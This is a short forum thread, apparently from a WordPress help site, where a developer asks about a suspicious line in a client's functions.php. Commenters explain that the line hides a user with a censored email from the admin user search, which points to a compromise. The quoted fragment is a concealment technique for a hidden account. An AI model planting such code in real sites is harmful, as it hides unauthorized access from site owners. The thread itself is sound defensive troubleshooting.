0

So I am working on client's site and I found this code in the functions.php file highlighted as a virus.

@!!!>$user_search->query_where=str_replace('WHERE 1=1',"WHERE 1=1 AND{$wpdb->users}.user_login!='f*****k@gmail.com'",$user

Now I don't know php but it looks like it is trying to replace the user 1's email in the database with this email. I censored the email. am I right? but if so how is the attacker going to excite this? There has to be a trigger for this, right?

3
  • 1
    what's the surrounding code for this? It does look very unusual, but considering an attacker would have had to have compromised the site to put it there in order to compromise the site, I'd either consider the site already compromised, or that the clients previous vendor put it there. Right now though there isn't enough information or context to properly answer the question though, it's unclear where how or when the code is running
    – Tom J Nowell
    Apr 22 at 19:19
  • Rather than trying to replace a user's email, it's trying to hide the user with that email address from a user search, which is, indeed, suspect.
    – vancoder
    Apr 26 at 22:01
  • Just email them and ask what it is.
    – vancoder
    Apr 26 at 22:01

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.